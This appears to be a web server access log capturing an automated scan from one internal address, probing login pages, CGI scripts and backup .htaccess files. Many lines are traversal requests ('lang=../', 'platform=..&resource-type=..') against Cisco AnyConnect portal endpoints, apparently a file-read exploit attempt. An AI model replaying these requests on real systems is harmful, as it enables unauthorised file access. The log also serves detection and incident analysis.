[30/Apr/2022:06:34:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cwhp/CSMSDesktop/about.jsp HTTP/1.1" 196
[30/Apr/2022:06:34:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /CSCOnm/servlet/login/login.jsp HTTP/1.1" 196
[30/Apr/2022:06:34:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /lang_pack/EN.js HTTP/1.1" 196
[30/Apr/2022:06:34:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET https://10.18.149.5/authentication/login/ HTTP/1.1" 196
[30/Apr/2022:06:34:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:09 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.jsp HTTP/1.1" 196
[30/Apr/2022:06:34:09 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:10 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /CSCOnm/servlet/login/login.jsp HTTP/1.1" 196
[30/Apr/2022:06:34:10 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/search.cgi HTTP/1.1" 196
[30/Apr/2022:06:34:10 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /about.jsp HTTP/1.1" 196
[30/Apr/2022:06:34:11 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /admin/login.jsp HTTP/1.1" 196
[30/Apr/2022:06:34:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.html HTTP/1.1" 196
[30/Apr/2022:06:34:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login?redirects=10 HTTP/1.1" 196
[30/Apr/2022:06:34:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/search/search.cgi HTTP/1.1" 196
[30/Apr/2022:06:34:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /csamc52/webadmin?page=invalid&type=browser HTTP/1.1" 196
[30/Apr/2022:06:34:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.html HTTP/1.1" 196
[30/Apr/2022:06:34:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /admin/public/index.html HTTP/1.1" 196
[30/Apr/2022:06:34:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /+CSCOE+/logon.html HTTP/1.1" 196
[30/Apr/2022:06:34:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/status HTTP/1.1" 196
[30/Apr/2022:06:34:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nls/ApplicationProperties-en.json HTTP/1.1" 196
[30/Apr/2022:06:34:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /securecgi-bin/CSUserCGI.exe?ver HTTP/1.1" 196
[30/Apr/2022:06:34:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /securecgi-bin/CSUserCGI.exe?Init+0 HTTP/1.1" 196
[30/Apr/2022:06:34:22 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:23 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/logo.gif&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:23 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/logo.gif HTTP/1.1" 196
[30/Apr/2022:06:34:23 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/http_auth.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:24 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/http_auth.html HTTP/1.1" 196
[30/Apr/2022:06:34:24 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/user_dialog.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:24 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/user_dialog.html HTTP/1.1" 196
[30/Apr/2022:06:34:24 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/localization_inc.lua&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:25 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/localization_inc.lua HTTP/1.1" 196
[30/Apr/2022:06:34:25 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:25 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua HTTP/1.1" 196
[30/Apr/2022:06:34:25 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/include&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:25 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/status.cgi HTTP/1.1" 196
[30/Apr/2022:06:34:26 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/include HTTP/1.1" 196
[30/Apr/2022:06:34:26 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/nostcaccess.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:26 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/nostcaccess.html HTTP/1.1" 196
[30/Apr/2022:06:34:26 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/ask.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:26 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/ask.html HTTP/1.1" 196
[30/Apr/2022:06:34:27 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /deploymentmanager/index.jsp HTTP/1.1" 196
[30/Apr/2022:06:34:27 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/no_svc.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:27 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/no_svc.html HTTP/1.1" 196
[30/Apr/2022:06:34:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:27 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/svc.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:27 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /JumpPage.php?Target=StoragePage HTTP/1.1" -
[30/Apr/2022:06:34:28 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/svc.html HTTP/1.1" 196
[30/Apr/2022:06:34:28 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/session.js&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:28 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/session.js HTTP/1.1" 196
[30/Apr/2022:06:34:28 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/useralert.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:29 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/useralert.html HTTP/1.1" 196
[30/Apr/2022:06:34:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:29 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/ping.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:29 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /MM/ HTTP/1.1" 196
[30/Apr/2022:06:34:29 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/ping.html HTTP/1.1" 196
[30/Apr/2022:06:34:29 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/help&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /%NETHOOD%/ HTTP/1.1" 226
[30/Apr/2022:06:34:30 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/help HTTP/1.1" 196
[30/Apr/2022:06:34:30 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/app_index.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:30 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/app_index.html HTTP/1.1" 196
[30/Apr/2022:06:34:30 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/tlbr&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:30 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:31 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/tlbr HTTP/1.1" 196
[30/Apr/2022:06:34:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login.html HTTP/1.1" 196
[30/Apr/2022:06:34:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/test.cgi HTTP/1.1" 196
[30/Apr/2022:06:34:31 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/portal_forms.js&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:31 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_forms.js HTTP/1.1" 196
[30/Apr/2022:06:34:31 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/logon_forms.js&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:31 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:32 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/logon_forms.js HTTP/1.1" 196
[30/Apr/2022:06:34:32 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nosuchfile-1564297025-1469105247.jsp HTTP/1.1" 196
[30/Apr/2022:06:34:32 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/win.js&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:32 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/win.js HTTP/1.1" 196
[30/Apr/2022:06:34:32 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/portal.css&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:33 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal.css HTTP/1.1" 196
[30/Apr/2022:06:34:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /self_upgrade.html HTTP/1.1" 196
[30/Apr/2022:06:34:33 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/portal.js&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:33 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal.js HTTP/1.1" 196
[30/Apr/2022:06:34:33 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:33 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/sess_update.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /webapps/login/index.html HTTP/1.1" 196
[30/Apr/2022:06:34:34 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/sess_update.html HTTP/1.1" 196
[30/Apr/2022:06:34:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /webct/about.jsp HTTP/1.1" 196
[30/Apr/2022:06:34:34 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/blank.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:34 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /forum.php HTTP/1.1" 196
[30/Apr/2022:06:34:34 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/blank.html HTTP/1.1" 196
[30/Apr/2022:06:34:35 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/noportal.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:35 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/noportal.html HTTP/1.1" 196
[30/Apr/2022:06:34:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /bitrix/admin/index.php?lang=en HTTP/1.1" 196
[30/Apr/2022:06:34:35 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/portal_ce.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:35 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_ce.html HTTP/1.1" 196
[30/Apr/2022:06:34:35 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:36 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/portal.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:36 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal.html HTTP/1.1" 196
[30/Apr/2022:06:34:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-mod/index.cgi HTTP/1.1" 196
[30/Apr/2022:06:34:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/test.sh HTTP/1.1" 196
[30/Apr/2022:06:34:36 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/home&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:36 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/home HTTP/1.1" 196
[30/Apr/2022:06:34:36 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/index.cgi HTTP/1.1" 196
[30/Apr/2022:06:34:37 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/logon_custom.css&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:37 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/logon_custom.css HTTP/1.1" 196
[30/Apr/2022:06:34:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /header.php HTTP/1.1" 196
[30/Apr/2022:06:34:37 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/portal_custom.css&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:37 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:37 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_custom.css HTTP/1.1" 196
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.htaccess.old HTTP/1.1" 199
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.htaccess.bak HTTP/1.1" 199
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/preview.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.htaccess~ HTTP/1.1" 199
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.htaccess.copy HTTP/1.1" 199
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.htaccess.tmp HTTP/1.1" 199
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/preview.html HTTP/1.1" 196
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /..htaccess.swp HTTP/1.1" 196
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /login HTTP/1.1" 196
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/session_expired&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.htaccess.1 HTTP/1.1" 199
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.htaccess.~1~ HTTP/1.1" 199
[30/Apr/2022:06:34:38 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/session_expired HTTP/1.1" 196
[30/Apr/2022:06:34:39 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/custom&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:39 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/custom HTTP/1.1" 196
[30/Apr/2022:06:34:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:34:39 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/portal_elements.html&default-language&lang=../ HTTP/1.1" 196
[30/Apr/2022:06:34:39 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/kvm.cgi?&file=login HTTP/1.1" 196
[30/Apr/2022:06:34:39 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_elements.html HTTP/1.1" 196
